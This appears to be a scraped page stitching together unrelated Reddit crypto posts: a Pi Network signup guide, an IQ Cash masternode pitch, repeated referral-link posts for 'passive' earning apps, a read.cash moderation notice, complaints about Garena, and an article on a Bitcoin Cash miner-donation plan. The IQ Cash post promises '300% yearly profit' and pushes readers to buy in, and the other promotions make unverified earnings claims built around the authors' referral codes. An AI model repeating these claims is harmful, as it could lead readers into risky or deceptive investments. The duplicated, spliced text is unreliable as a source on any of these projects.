Pi Network is a virtual currency that can only be mined or mined on a phone, but does not consume device resources like other free mining applications. Previously Pi Network could include mining applications such as Electroneum (ETN), but this application consumes your device resources to decode the algorithm (Electroneum uses cryptonight algorithm). With Pi Network, when you dig coins will feel the device does not heat up. In addition, you can also turn off the application or turn off the network and still be able to mine coins every 24 hours.

Note:

Pi Network is still in BETA. The project is still in progress which means that there will still be errors and some details of the project are still changing. While many cryptocurrency projects start from pure theory, Pi Network seeks to balance theory with design and people-centered (or experiment with real people to best meet their needs). ). The project appreciates your patience and welcomes your input as we work together to develop products that best meet community needs. Pi does NOT give you free money. This is a long-term project whose success depends on the common contribution of its members. Pi helps people capture economic value, which is held by banks, technology giants (e.g. Facebook, Amazon) and other intermediaries. Pi depends on the contribution of the members. Therefore Pi NetWork is not suitable for those who want to make money quickly.

2. Is Pi Network scam?

Pi is not a hoax. This is an attempt by a group of Stanford University alumni to spread the cryptocurrency to more people. Pi Network's core team is led by two Stanford PhDs and one Stanford MBA, all of which help build the blockchain community at Stanford. There is no guarantee that the project will succeed. However, Pi Network will work hard to make common dreams a reality, while upholding the highest standards of transparency. You can learn more about Pi's core team on the app, or simply by typing these people 's names into the Google search page:
- Nicolas Kokkalis: Head of Technology
- Department Chengdiao Fan: Vincent
- McPhillip Product Manager: Community Manager
📷
https://preview.redd.it/rozcs5h1p4351.png?width=710&format=png&auto=webp&s=c5952d879514c33e643958aab8d5ca5ae382ba41

3. How to make money with Pi Network?

How to exploit Pi
Pi Network does not call you to invest or do anything. Your job is very simple, you just need to have a phone, download the Pi Network app and create an account, press the Start button daily and the PI digging will take place even if your computer is not connected to the internet . You also do not need to open the active application. Pi does not affect your phone performance, does not drain your battery or use your network data. To start earning Pi, check the app every 24 hours and press the lightning button to start mining. You can increase your hourly Pi rate by inviting friends and family to join the community. After 3 days of exploitation, you can increase your income even more by building your security circle, which contributes to the overall security of the network. And remember, veterans of the network have a higher rate of extraction than the members who come after them.
Why are veteran members exploiting more?
Pi's goal is to become a widely distributed and widely used electronic currency in the world. To achieve that goal, Pi encourages members to contribute early to ensure the success of the project (eg network protection and development). To reflect the importance of early contributions, the rate of extraction decreases as more people join the network. At this point, the base mining rate will be halved every time the number of active users increases by 10 times. This ratio will be reduced to zero when the network reaches a certain number of users (for example, 10 million or 100 million). At the time, like Bitcoin, miners would continue to receive rewards with transaction fees, rather than being rewarded with new coins.
What is the Pi Network security circle?
The security circle is a group of 3-5 trusted people built by each Pi member, to prevent fraudulent transactions. While cryptocurrencies like Bitcoin secure their ledgers by forcing mining companies to burn energy (proof of work), Pi still guarantees its ledger when members of the network prove trust with each other. Pi contributors guarantee each other by building up security groups of 3-5 members whom they deem reliable. The security circle should include people you trust not to make fraudulent transactions. The cyber security circles form a global trust chart to determine who can trust to conduct transactions on the Pi ledger.
https://preview.redd.it/rmekfcizo4351.png?width=710&format=png&auto=webp&s=92a054233ec9c1844b32c24b0a06d0a47e9302b1

4. What is the Pi price?

Pi is worth approximately 0 dollars / euro. Yes! If the price is $ 0, then we dig PI do? Also you wonder when PIs will be valuable? While everyone thinks that PIs are not valuable and do not participate, just like when BITCOIN 2008 had no value. If you are a PI holder PI holders have two options to convert PIs into cash:
- Buy goods and services directly with your Pi. Pi Network is building a peer-to-peer market where members can directly spend Pi to buy goods and services. Pi Network aims to start a bank transfer test in its application immediately after Q42019.
- Exchange Pi for cash on cryptocurrency exchanges. Pi will be able to be traded during Phase 3 of the project (such as when launching the Mainnet). At that time, exchanges may choose to list Pi. At this point, Pi's core team focuses on implementing the right technical roadmap to reach phase 3.
(I still remember in 2015, in MMO communities, competing to receive free coins called Raiblocks (XRB) by typing captcha, each type of such a lot of XRB, it can be said that the day that XRB has no price value, almost 0. Later in early 2018 when Raiblocks changed its name to NANO project, the peak of 1 NANO coin reached 34 USD, sweeping away the dream of millionaires of MMO people, because at XRB, they sell very cheaply for each other. You can refer to the NANO price chart below)
https://preview.redd.it/r8rll5eyo4351.png?width=710&format=png&auto=webp&s=235368ab0b53c5e1b09c2c88bd13e345ae26eaae

5. Download the Pi Network application

Pi Network currently supports both Android and iOS operating systems, you can access the Google Play app for Android or App Store for iOS and search by keyword "Pi Network" or click directly at the following link:
https://minepi.com/150791

6. Create an account and dig Pi

Step 1: After downloading the application, you open the application to register for Pi Network account

https://preview.redd.it/n74m2cbxo4351.png?width=640&format=png&auto=webp&s=33dd4f81f6cb952c065457dc1d3d53a20df739bd
In this step you can optionally register your account with Facebook or your phone number. However, you should choose the phone number to make it easier to authenticate your Pi Network account later. Choose your location, enter your phone number and click Go.

https://preview.redd.it/tkh0yo2wo4351.png?width=640&format=png&auto=webp&s=341f067a7269a5b0bc7eb9d04698d8950c06dbff
Then you enter the password and confirm the password. Note that the password must have uppercase characters, special characters like! @ # $% Or your number. Done, click Submit

https://preview.redd.it/pmp9dzjto4351.png?width=640&format=png&auto=webp&s=8712183677f5356ac79fd279e98de4e291e893c7
Then enter the First Name and Last Name.

https://preview.redd.it/f5auh8dso4351.png?width=640&format=png&auto=webp&s=e26c5c9b15548beb0edcbd4df2ac22d27a548405
Finally, the Username (this is the name for me to log into the Pi Network application, don't forget this). After filling all information, click Submit to move to the final step. In this last step, you enter the referral code is @ Leviet74 (this is my code). However, you can enter anyone's referral code. But when entering my code, I am very thankful and if there is any problem that needs support I will be very enthusiastic.
So you have completed the Pi Network registration, now you just leave it to receive coins daily, or go referrals to others to earn more Pi.

https://preview.redd.it/2gio8gxqo4351.png?width=640&format=png&auto=webp&s=1682a4a32e54c60db542699b53bbb5287fa5a8bd
Guide to dig Pi

https://preview.redd.it/1ftbk7qpo4351.png?width=640&format=png&auto=webp&s=2e3af6d16e7a47535957387e8e409bbca4d72d0c
Click Get Started and click on the lightning image to start digging PI.

https://preview.redd.it/70q1n5poo4351.png?width=640&format=png&auto=webp&s=a0c0dc927027d7ad4c1999b4ae9c9a5daf9b6896
The amount of Pi you mine per hour is shown in the Ambassador section. If your lower members mine Pi, you will receive (25% x 0.39pi x the number of people). However, if they are not online for more than 1 day, you will not receive Pi from them, so you press Ping Inactive to push them to notify the application access.

https://preview.redd.it/ptu36tmmo4351.png?width=640&format=png&auto=webp&s=bb70cc8e19ecdb9ccbaa36e5ee52be6dcc68e842
Add people to the security circle
After 3 days of digging Pi, you will open a security circle, what it is, please read the above article, here you can add acquaintances to dig more Pi together.

https://preview.redd.it/84bnhfbjo4351.png?width=710&format=png&auto=webp&s=b8aa75b135d4cf00d75a6f23ad1933cdead901d9
Verify Pi Network account
You need to verify your account so that stage 4 of the project can be withdrawn. To verify Pi Network, access Profile and select Verify as shown:

https://preview.redd.it/h6pkp9tgo4351.png?width=640&format=png&auto=webp&s=5c0a2677b7bed0d39a75a1e825449f4b4503c990
There are two options for verifying your account: getting a verification code (only applicable to the US and Canada) or sending a message to Pi Network. You will have to use option 2 and press Start.
https://preview.redd.it/woyptgmeo4351.png?width=640&format=png&auto=webp&s=d67d1b01deb51d038c1411177a1dd7e0274dfd4e
Then click Open SMS to let Pi Network compose a message to send a 4-digit code.

https://preview.redd.it/ohu1d19ao4351.png?width=710&format=png&auto=webp&s=7a1c8a726b5938280a58f1343feb73223b02ba66
Note that Pi will generate 4-digit code itself, you do not edit anything and just click Submit.
https://preview.redd.it/orymp2vzn4351.png?width=710&format=png&auto=webp&s=c0002a9841fbc4db8ed5a3a040d1ddbd71500e14
If the Pi application verifies that you have successfully verified your account.

7. How to draw Pi?

You cannot withdraw the Pi. You will be able to withdraw Pi or exchange Pi for other currencies during Phase 3 of the project, when Pi switches to a completely decentralized blockchain. Phase 1 of Project Pi is on March 14, 2019 (Pi Day). In Stage 1, your balance is being recorded to wait for the day Pi reaches the mainnet (Phase 3). The transfer or withdrawal of Pi is restricted until the mainnet launch, to prevent fraudulent actions, such as clone users to dig Pi, then transfer Pi to another account and legalize the process. verify your account and use that nefarious Pi number.

8. Should you dig Pi on multiple phones?

No, you SHOULD NOT dig PI on many devices. Pi Network adheres to a strict rule, meaning that only one account can be used per person. Pi Network uses a multi-pronged strategy to ensure that fake accounts cannot exploit Pi
First, the Pi network uses Google Recaptcha v3 to know which devices are operated by humans or robots. (This technology is completely invisible to most users, because they are real people, but robots can see the captcha if the google algorithm captures them.) Over time, Pi Network is developing a machine learning algorithm based on actual user exploitation behavior to predict bots.
Second, the Pi consensus algorithm (security circle) makes it easy to detect fake accounts. The fake account will not have enough real people to link to them through the security circle. Thus fake accounts will have less linkage with the rest of the network. This anomaly is easy to detect with computer algorithms.
Finally, when Pi enters Stage 3 and 4 - Mainnet, only authenticated accounts can exist. Buy

9. Where to buy and sell Pi?

Currently, there is only 1 exchange, AACoin listed PI (https://www.aacoin.com/trade/PI\_USDT) in the form of short purchase and sale, meaning that they buy and sell PI but do not actually own any PI. Because PIs have not been withdrawn until entering phase 3 (mainnet), all PI trading platforms are fraudulent. The Pi Core team also issued a warning. In addition, users should not buy and sell Pi transactions on the black market through the sale of accounts, because all of us have not been able to price Pi, so there are many potential risks.
https://preview.redd.it/d6lzfxfxn4351.png?width=710&format=png&auto=webp&s=c61ce72af1a56af4367c32b441ddfe25b9462a30
submitted by thanhbkpr to u/thanhbkpr [link] [comments]

IQ Cash: make 300% yearly profit

IQ Cash: make 300% yearly profit

https://preview.redd.it/gowo06cpqry41.jpg?width=680&format=pjpg&auto=webp&s=8cb2b1ccd00936eede584a566e0df93368e0f252
IQ.cash is a unique global platform on the blockchain, created both for investors and traders and miners. The main objective of the platform is to provide real-time, anonymous payments and real-time investments for crypto enthusiasts.
The IQ.cash project team has already developed for their investors the IQ Masternode network that they use. Also, the IQ coin is presented on such well-known exchanges as HitBTC, BitHumb Glogal, P2PB2B, CoinsBit, BitForex, CREX24 and Mercatox. Therefore, traders can easily trade it! If an investor has more than 3000 IQ on his balance sheet, then he can receive passive income 57% of the block, miners, in turn, receive 43% of the block. We still have 6%, which are reserved for DAO (decentralized autonomous organizations), that is, they are used to invest, for example, in ICO projects, websites, trading bots, and improving the entire IQ ecosystem . cash and so on. All of these unique features can help make the IQ.cash platform popular around the world.

https://preview.redd.it/qq7jq59xqry41.png?width=640&format=png&auto=webp&s=1f2bf849bbbe65d199a858e595acae2cb8153cc5
Now I am going to share with you the concept which our company has come up with for IQ.cash crypto coin. Its mechanism was developed to share the profit between miners as a reward for the transactions operated by IT specialists and MasterNode owners with 3,000 IQ.cash deposit as a commission for assisting the server system by investing in it. This is simply how the coin has been programmed.

5 steps to make 300% yearly profit

  • Purchase 3,000 IQ or better 3,001 as 1 will be spent on the transaction commission
  • Download the Flits App (Android or IOS) for the mobile device
  • Open an IQ.cash coin wallet in the app
  • Put 3,001 IQ into the wallet and create a MasterNode server and a deposit
  • Pay the hosting provider service fee at Flits. It will cost you EUR 1.99 per month

https://preview.redd.it/dprjus71rry41.jpg?width=1213&format=pjpg&auto=webp&s=65a9e0c01257821bf6299a6f5ef0cb2d7e54753a
IQ.cash coin was created the way so the profit is split in proportion of 57% and 43% between MasterNode (server with deposit) owners and miners accordingly. Additional 6% DAO is reserved to be either shared with people helping to develop the IQ.cash project or to simply dissolve once a month.
What are MasterNodes created for? To simplify, those are assistant servers which let IQ.cash coin to operate the payments inside the blockchain system. To create such a server, the owner must ‘rent’ it from the hoster. Its cost might vary from US $1 to US $4 per month. You must have a 3,000 IQ deposit to make the investment work. The deposit will be blocked by the system, so starting this very moment the system is adding the commission for your assistance to the project which can be spent or used to create new deposits and servers. One server and one deposit form a MasterNode!
In case you are not interested in a profit you can unblock the deposit and trade it at any of seven exchanges where our coins are used. Currently the profit is 300% a year but the bigger MasterNode is, the smaller the commission becomes as the reward is limited and splits equally between all the participating investors. The more people are willing to make deposits, the higher the price of the coin rises at the exchange, so the more profit it makes.
Get the profit and spend it on your needs or create the next MasterNode to increase the profit accordingly to the number of MasterNodes!
It is easier than it seems and you will get the profit bigger than any investment can provide. People really do that for a living!

And now let's get into how you can purchase it.

👉Go to the buy page and you will see the window opening where you can to pay for the amount of coins you would like to purchase. You don't have to worry about the following steps as we will manage the rest by buying IQ.cash and FLS coins (to cover the Flits service) from the exchange.
  • Fill in the fields «IQ wallet address» and «FLS wallet address» in the Flits app
  • Pay for the package. One package includes both 3000 IQ.cash and Bitcoin for five months of Flits service. The moment the money transfer is complete, open the window IQ – MasterNode and create them proportionally to coins purchased (3000 IQ for 1 MasterNode)
  • Switch on the MasterNode and get the profit. You can follow the current rate in the Flits App or at any crypto exchange trading IQ.cash coins:
If You don't understand? This link will help you: 👉 Open the step-by-step guide to creating a IQ.Cash Masternode.
What did I like about this project? Yes, almost everything. Here I did not hear the promises of the Golden Mountains when participating in the project, which many others are doing in order to only attract investors. Perhaps this is why this project remained in the shadow of upstarts and continued to work, to bring its beginnings to its logical conclusion. And now, when everything works as an ideal mechanism, the team decided to declare itself as a full-fledged player in this field. And this is very correct, since such projects with a good reputation and a finished product can be counted on the fingers of one hand.
For more information about IQ.CASH visit:
Website: https://iq.cash/
Discord: https://discord.gg/qekuX6r
Github: https://github.com/IQ-Cash/iqcash/releases
Youtube: https://www.youtube.com/finexpo
ANN thread: https://bitcointalk.org/index.php?topic=4360591
Twitter: https://twitter.com/IQ\_Crypto
Telegram: https://t.me/IQ\_cash
Wallets: https://iq.cash/
Explorer: https://explorer.iq.cash/
AUTHOR:
BITCOINTALK USERNAME: I Am Man
BITCOINTALK PROFILE: https://bitcointalk.org/index.php?action=profile;u=2734184
submitted by Manlog305 to ICOAnalysis [link] [comments]

Passive crypto earning! Mobile apps that mine crypto. Start earning now! Bonus links!

These are some of the passive crypto earners I use. These are so passive I can not turn them down, haha.
The first one is Electroneum. This is a mobile miner thats uses no battery, or data as it mines in the cloud. You can find it on the gogle play store here: https://play.google.com/store/apps/details?id=com.electroneum.mobile or on Apple here: https://apps.apple.com/us/app/electroneum/id1270774992?ls=1 and if you use my code 99DB62 you will earn 1% more. You can just earn this away and then sell it when you have enough, not much but passive.
This second one is not live yet, and only in phase two, however I would like to be in early on this as it's so passive. It's just like the Electroneum app and called Pi. If you use my code you will get 1Pi. Just dowload it from the app store here: https://play.google.com/store/apps/details?id=com.blockchainvault or from the Apple store here: https://apps.apple.com/us/app/pi-network/id1445472541 Make sure to use my username Brinny as the invite for the bonus.
The third is Mannabase.com, or Manna coin. This is live on the market and works like UBI(Universal basic income). I like the idea of it but you have to do full KYC. Still very passive and a weekly payout. Use my link to for a bonus to earn more per week: https://www.mannabase.com/?ref=XNapSiCvR9
This is one I love. Not live and can only be spent in app. Its a step counter that pays you in sweatcoins. When you have enough you can get stuff from their rewards store. I'm going to be walking anyway, and plan on using it to buy gifts, there's always beauty products and body scrubs and the like. This has great earning potential for somebody who walks dogs, hikes a lot, or goes for a daily run. I use this for these three activities and am planning on using my SWC to buy people gifts. Or if this lockdown wasn't in place I'd be going for the $1000. Basically earn 20,000 of their coins and you can cash them out for €1000. Follow my link and get a bonus 5swc: www.sweatco.in/hi/bryn499128
This one is similar to the Brave browser, you read articles, and when you finish you can tip the article author some crypto, at no charge to you, and you also receive some. It's easy and I like the concept, will hop on and read a few articls when bored. Follow my link for another bonus to everthing you earn: https://www.publish0x.com?a=5xe7gNye7r
Here's and article as an example if you want: https://www.publish0x.com/crypto-chart-wizard/bitcoin-ethereum-and-xrp-price-predictions-for-april-2020-xvgyvd?a=5xe7gNye7r
Hope this can help somebody.
submitted by UrbanFilthFly to beermoneyindia [link] [comments]

Passive crypto earning! Mobile apps that mine crypto. Start earning now! Bonus links!

These are some of the passive crypto earners I use. These are so passive I can not turn them down, haha.
The first one is Electroneum. This is a mibile miner thats uses no battery, or data as it mines in the cloud. You can find it on the gogle play store here: https://play.google.com/store/apps/details?id=com.electroneum.mobile or on Apple here: https://apps.apple.com/us/app/electroneum/id1270774992?ls=1 and if you use my code 99DB62 you will earn 1% more. You can just earn this away and then sell it when you have enough, not much but passive.
This second one is not live yet, and only in phase two, however I would like to be in early on this as it's so passive. It's just like the Electroneum app and called Pi. If you use my code you will get 1Pi. Just dowload it from the app store here: https://play.google.com/store/apps/details?id=com.blockchainvault or from the Apple store here: https://apps.apple.com/us/app/pi-network/id1445472541 Make sure to use my username Brinny as the invite for the bonus.
The third is Mannabase.com, or Manna coin. This is live on the market and works like UBI(Universal basic income), universal basic income. I like the idea of it but you have to do full KYC. Still very passive and a weekly payout. Use my link to for a bonus to earn more per week: https://www.mannabase.com/?ref=XNapSiCvR9
The one is one I love. Not live and can only be spent in app. Its a step counter that pays you in sweatcoins. When you have enough you can get stuff from their rewards store. I'm going to be walking anyway, and plan on using it to buy gifts, there's always beauty products and body scrubs and the like. This has great earning potential for somebody who walks dogs, hikes a lot, or goes for a daily run. I use this for these three activities and am planning on using my SWC to buy people gifts. Or if this lockdown wasn't in place I'd be going for the $1000. Basically earn 20,000 of their coins and you can cash them out for €1000. Follow my link and get a 5swc sweatco.in/hi/bryn499128
This one is similar to the Brave browser, you read articles, and when you finish you can tip the article author some crypto, at no charge to you, and you also receive some. It's easy and I like the concept, will hop on and read a few articles when bored. Follow my link for another bonus to everthing you earn: https://www.publish0x.com?a=5xe7gNye7r
Here's and article as an example if you want: https://www.publish0x.com/crypto-chart-wizard/bitcoin-ethereum-and-xrp-price-predictions-for-april-2020-xvgyvd?a=5xe7gNye7r
Hope this can help somebody.
submitted by UrbanFilthFly to affiliatedeals [link] [comments]

Passive crypto earning! Mobile apps that mine crypto. Start earning now! Bonus links!

These are some of the passive crypto earners I use. These are so passive I can not turn them down, haha.
The first one is Electroneum. This is a mobile miner thats uses no battery, or data as it mines in the cloud. You can find it on the gogle play store here: https://play.google.com/store/apps/details?id=com.electroneum.mobile or on Apple here: https://apps.apple.com/us/app/electroneum/id1270774992?ls=1 and if you use my code 99DB62 you will earn 1% more. You can just earn this away and then sell it when you have enough, not much but passive.
This second one is not live yet, and only in phase two, however I would like to be in early on this as it's so passive. It's just like the Electroneum app and called Pi. If you use my code you will get 1Pi. Just dowload it from the app store here: https://play.google.com/store/apps/details?id=com.blockchainvault or from the Apple store here: https://apps.apple.com/us/app/pi-network/id1445472541 Make sure to use my username Brinny as the invite for the bonus.
The third is Mannabase.com, or Manna coin. This is live on the market and works like UBI(Universal basic income). I like the idea of it but you have to do full KYC. Still very passive and a weekly payout. Use my link to for a bonus to earn more per week: https://www.mannabase.com/?ref=XNapSiCvR9
This is one I love. Not live and can only be spent in app. Its a step counter that pays you in sweatcoins. When you have enough you can get stuff from their rewards store. I'm going to be walking anyway, and plan on using it to buy gifts, there's always beauty products and body scrubs and the like. This has great earning potential for somebody who walks dogs, hikes a lot, or goes for a daily run. I use this for these three activities and am planning on using my SWC to buy people gifts. Or if this lockdown wasn't in place I'd be going for the $1000. Basically earn 20,000 of their coins and you can cash them out for €1000. Follow my link and get a bonus 5swc: www.sweatco.in/hi/bryn499128
This one is similar to the Brave browser, you read articles, and when you finish you can tip the article author some crypto, at no charge to you, and you also receive some. It's easy and I like the concept, will hop on and read a few articls when bored. Follow my link for another bonus to everthing you earn: https://www.publish0x.com?a=5xe7gNye7r
Here's and article as an example if you want: https://www.publish0x.com/crypto-chart-wizard/bitcoin-ethereum-and-xrp-price-predictions-for-april-2020-xvgyvd?a=5xe7gNye7r
Hope this can help somebody.
submitted by UrbanFilthFly to Referralsuk [link] [comments]

read.cash censorship! 🤬

Well, now that I've got your attention, I want to talk with you about something serious.
Something that we've been expecting from day one opening read.cash happened. We've had to hide an article from the main page and the topic pages.
The article is (in our subjective opinion) an insulting piece of content to some people. And I, as the one who removed it, wanted to show it to you, including our whole discussion with its author.
We at read.cash want to be clear from day one that "We strive to build a place with great content to read and watch, where authors can be compensated by their readers, not the place with never-ending fights or spam" This is written in the "About" page from day one.
Unfortunately, it also means having to moderate discussions, something that some people refer to as "censorship".
We don't hide this fact. We are ok with discussions.
Want to discuss why Bitcoin SV made some bad choices and how it would never amount to anything - avoid name-calling and trash-talking and be our guest - aboslutely OK.
Do you want to criticize Bitcoin Cash because you believe that 32 MB blocks are too big and Raspberry Pis should be the miners? Be polite and you're welcome to explain yourself.
Do you want to call people "cuckolds", "bcashers" or "coretards"? Please leave, the content is going to be removed.
Anyway, we're not forcing people to love read.cash, it is, what it is. We want to make sure that authors that write great content - get compensated well by their fans.
Do you want endless flame wars? There's Twitter, and other sites that are more appropriate.
You are all grown ups and free to make your own mind about whether read.cash is suitable for you or not, we're making our policy clear.
Feel free to read this post in full and we encourage @kos (don't know the Reddit username) to join the discussion. He(she?) feels it's "haha funny article m'dude", we feel it crosses the like of being "hate-filled" (subjective term, but we stand by it).
Here's the article with discussion in full:
https://read.cash/@kos/has-roger-wrecked-our-sex-life-post-roger-sex-disorder-is-real-says-dr-craig-s-wright-8932b081
submitted by readcash to btc [link] [comments]

A summary of issues with Garena (Re-post)

Body:
This is probably not the first time, nor the last time this type of post would be created, but I feel that this has to be addressed. Riot has neglected Garena for way too long, and with the rumors of the contract between Riot and Garena coming to an end, I feel that this is a good time to address it.
This post is a consolidation of various sources and other posts, along with some personal opinions as a player on the SG/MY server of Garena.
For those unaware, Garena is a server provider that Riot licensed League of Legends to for it to host in the South-East Asian regions, in countries such as Indonesia, the Philippines, Singapore, and Malaysia.

MAJOR PROBLEMS:

Hiding Content:
Garena has always had hidden content. We never got to see last year's end of year statistics; we never have patch notes linked in the client; we never have a lot of the features that Riot's Client have. We have the basics, but not the luxuries.
Also, they have also made it impossible for users to reroll Skin Shards into Prestige/Mystic skins. On the one occasion where their system was bugged, a user got it but Garena quickly took it away from him and gave him Skin Shards.
Reddit Post Regarding Issue
Imgur of Garena "Support" Replying
Gambling:
Garena advocates gambling among it's users. 24/7, we have this thing called 'Lucky Crates', which are borderline scams. They usually contain 1-2 rare items, or a set of rare items, for a low RP cost but also have the chance to contain useless items such as 10 Orange Essence and 10 Blue Essence.
Recently, they have also launched a "Poro Pillionare", where you can spin a lucky wheel in order to win skins, 'shards', and BE/OE. The 'shards' can be used to buy skins, even exclusive ones such as PAX TWISTED FATE:
The Wheel Of Luck
Their Shop
Blatant Money Grabs:
Garena has released K/DA Prestige Evelynn to their store as part of a gambling game. If you can guess 1 out of 9, you win the skin, and you can pay a small amount of RP to remove a guess, meaning for 1840 RP you get:
K/DA Prestige Evelynn
6 Masterwork Chests + Key
5 Hextech Chests + Key
3 Emotes
5 K/DA Orbs
K/DA Bag
The fact that just the 11 chests alone are worth 1840 means that the value of this is dropped drastically.
Screenshot of the cash-grab in the Garena Client - Credit to u/smexxyhexxy
e-Sports Betting:
Citing this recent Reddit post, Garena has been using the e-Sports scene of LoL in order to make money for themselves. This has been occurring since many seasons ago, but this is the first time there is conclusive evidence of this - unhealthy for the e-Sports scene in general.
Here are links to the video in question:
YouTube (Starts at around 10 minutes)
Streamable Backup
Image 1 | Image 2
Cryptomining:
Citing this article on Bitcoin List, Garena has been using their launcher (for those unaware, Garena has their own platform in which you must use to launch LoL on) to install a cryptominer onto the systems of those playing LoL, and as a result the GPU and CPU rate of the computers have gone down drastically, while players attribute the issue to unoptimisation. Thankfully, it seems to have gone, although from personal experience I still feel there is something draining my GPU at all times when the launcher uses about 30% of it. EVEN THE ACTUAL GAME ONLY TAKES UP 40%
Random Server Merges:
Recently, the Indonesian server of Garena merged with the Singapore/Malaysian server. Aside from the fact that it mixes up people that speak very different languages in the same server, according to this post made by Garena themselves (it is in Indonesian so I'll translate), the Indonesian users will lose their:
- Match-Making Rating and Rank
- Username and Clubs
- Friends list and Honor level
- All champion Mastery Points
- All current Hextech crafting shards
This is an obvious change; imagine yourself as an NA player, suddenly stripped of your username and rank, along with that M7 Yasuo you spent so long to earn, only to be forced to transfer to a server which does not speak English, and has worse ping. Yeah, that would really suck.
Marketing:
Quoting from this post:
In Vietnam you can have a nice meal with 2$ (i am not even kidding) and our average salary income in Vietnam is about 250$-350$ or even lower. So the skin prices before the "big change" was very cheap and accessible for everyone with an average income. Notice that we have different RP ratio in Vietnam server: - 149 RP for a 750 RP skin (cost 1.75$) - 199 RP for a 975 RP skin (cost 2.5$) - 299 RP for a 1350 RP skin (cost 3.75$) - 399 RP for a 1820 RP skin (cost 5$) - 799 RP for an Ultimate skin (cost 10$) 
The average income for an American household is 4.5k a month according to CNBC, so by that calculation, it would cost roughly:
27 USD for a 750 RP skin
38 USD for a 975 RP skin
56 USD for a 1350 RP skin
75 USD for a 1820 RP skin
150 USD for an Ultimate skin
If that sounds ridiculous to you, then yes, it is.
submitted by HebiIsSnake to leagueoflegends [link] [comments]

Miner donations will not be implemented. I will vote No in the hashrate vote.

Jiang Zhuoer, the founder of Leibite mining pool, said in a Weibo post.
It was him who first proposed the plan, and it was also him who stood up and said that he would vote against it. The taste is only known to the BCH community who has been sawing for more than a month.
Planned preform
All this has to start from January 22. On this day, Jiang Zhuoer also published the article "Infrastructure Funding Plan (IFP) for Bitcoin Cash" on Weibo and medium at the same time. In his opinion, the current BCH has a problem of developer operating funds, only A few companies donate to developers, and the other members are hitchhikers, which can be called a tragedy of the commons.
In fact, it is not just BCH. Many early projects without 1CO lack a continuous source of funds. BTC and LTC also rely on the sustainable funding of companies and individuals to donate to developers. Regarding this, Jiang Zhuoer added at the subsequent AMA held by Reddit that a few companies continued to donate, and these companies' right to speak would increase, which might affect the development in the future, which is also a major hidden danger.
So based on the consideration of stable development funds, he said that several major mining pools on BCH (BTC.TOP, Antpool, BTC.com, ViaBTC, Bitcoin.com) will implement a new donation plan that will reward BCH for block explosions. 12.5% ​​was donated to a specially established fund to support BCH infrastructure, which aims to provide sufficient funds for BCH developers. Blocks that are unwilling to participate in this donation plan will be isolated.
According to its disclosure, the donation will last 6 months and the estimated amount is about 6 million US dollars. A Hong Kong company has been set up to accept and distribute funds. At the end of the article, Jiang Zhuoer, Wu Jihan, Yang Haibo and Roger Ver were stated to be supporters of this plan.
The response was extremely intense
After the news came out, BCH communities at home and abroad had a heated discussion. There are mixed voices in China. Some people think that this is a great benefit to the BCH currency price. Some people think that this is a miner sacrificing part of their own interests to support infrastructure construction. It is a manifestation of the spirit of the community, but some people allege that this is a pumping behavior ... these are evident in the comments below Jiang Zhuo's blog post.
The foreign community, which has gathered most of the BCH developers and core personnel, is even more dramatic.
On January 23, the day after the BCH miner donation plan was issued, Amaury Séchet (@deadalnix), the chief developer of the ABC team of BCH, posted a post on read.cash [1], which is the platform for the donation plan. He said this plan It has been brewing for a long time. The operation of the team needs financial support, clarifying that this is not the so-called "compulsory miner tax". What's more notable is that he thinks that there is no problem as long as the endowment fund can be transparent, and even Mao has recommended himself that he and Jonald Fyookball, the chief developer of Electron Cash, a light wallet developed by BCH, are qualified to control the fund.
Later, the Jonald Fyookball he mentioned also posted on read.cash [2], which also said that it would be beneficial to the team and miners. I have tried many measures on development funds before, but none of them worked. One will be a short six-month trial and will be upgraded in the next BCH agreement.
However, the core people in the community took the lead to speak out in support of this, but it could not stop the tide of opposition afterwards.
In order to fight for the miners' donation, the moderators of read.cash also created a special "Debate section" [4] for the community to express their opinions.
On January 26, Peter Rizun, chief scientist of the Bitcoin Unlimited (BU) team, posted a post on it [5], explaining in detail the operation of funds in this scheme. (It is necessary to add here that the BCH network is composed of two major clients, ABC and BU, which together account for more than 95% of the 1,510 public nodes in the BCH network.)
According to his article, the 12.5% ​​block reward BCH tokens will be sent directly to the new company in Hong Kong, and the developer's operating funds will come from the funds obtained by the new company from selling these BCH tokens on the exchange.
After the mining revenue decreases, the hash rate of the network will drop by about the same percentage. Since BCH accounts for about 3% of the SHA256 hash rate, and other conditions remain unchanged, the total income of SHA256 miners will fall by ~ 0.4%. The following figure graphically shows the flow of these donated tokens: In fact, the mining The merchant lost only a small part of its profits. The group of investors who ultimately bought the BCH tokens out of the Hong Kong company. In the text, Peter Rizun pointed out that this is simply the developer service tax of BCH, and corruption will arise.
In addition, the Bitcoin protocol has been eleven years so far. At present, what BCH needs to do is how to make the protocol more stable. The role of developer should gradually fade away, and the continuous growth of users is the core. Peter Rizun even stated at the end of the article that the monopolistic miners are still trying to adopt such a plan, and the greed is obvious and disgusting, and the BU team will probably not accept this donation plan.
On the same day, BCH developer Imaginary Username posted that he believes that the development team's funds can come directly from capital investment, sponsorship, shareholder contributions and voluntary payments by miners, rather than forcing miners to pay. c After this, a BCH crowdfunding plan named Flipstarter.cash was announced online [7], and proposed other fundraising schemes other than donations from miners, and emphasized that this would be a new proposal based on voluntary.
In general, opponents of these donation programs acknowledge that developers need revenue and infrastructure needs to be maintained, but also said that if the final plan is passed, those who do not support this plan will be lonely and violate the blockchain. spirit. Whether the taxation in disguise causes corruption, whether it will be carried out for a long time, or whether it violates the spirit of blockchain decentralization is the focus of debate.
Things are still fermenting. Subsequently, Bitcoin.com also began to counter water, thinking that there is no consensus on this plan at present, and the development team needs to be clear about their use of funds. Bitcoin.com will also adopt a more prudent attitude and will not risk the risk of chain forks To support this decision.
Regenerate
In the face of various oppositions, Jiang Zhuoer released a new donation plan on February 1 [9], stating that the issue of donation ratio is in fact questionable, and reiterated that this plan will be democratic and encourage miners to perform computing power. Vote for your opinion. This plan will only be implemented if more than two-thirds of the computing power vote in favor of the donation. On February 16, Jiang Zhuoer updated the donation plan again, which reduced the original 12.5% ​​to 5%.
However, the release of the new version did not solve the doubts in the community.
In response, digital currency commentator WhalePanda tweeted that the miner's tax rate is very funny, and any block that is not donated will be blocked. This is actually a totalitarian totalitarian regime, accompanied by a 51% attack threat.
On the same day on the 16th, Roger ver, the founder of the Bitcoin.com wallet, posted a YouTube video [10]. He believed that the donation ratio was 12.5% ​​or 5% a bit random, and said "probably because of communication problems". His donation plan supporters have his name, but in fact he and Bitcoin.com do not support the plan.
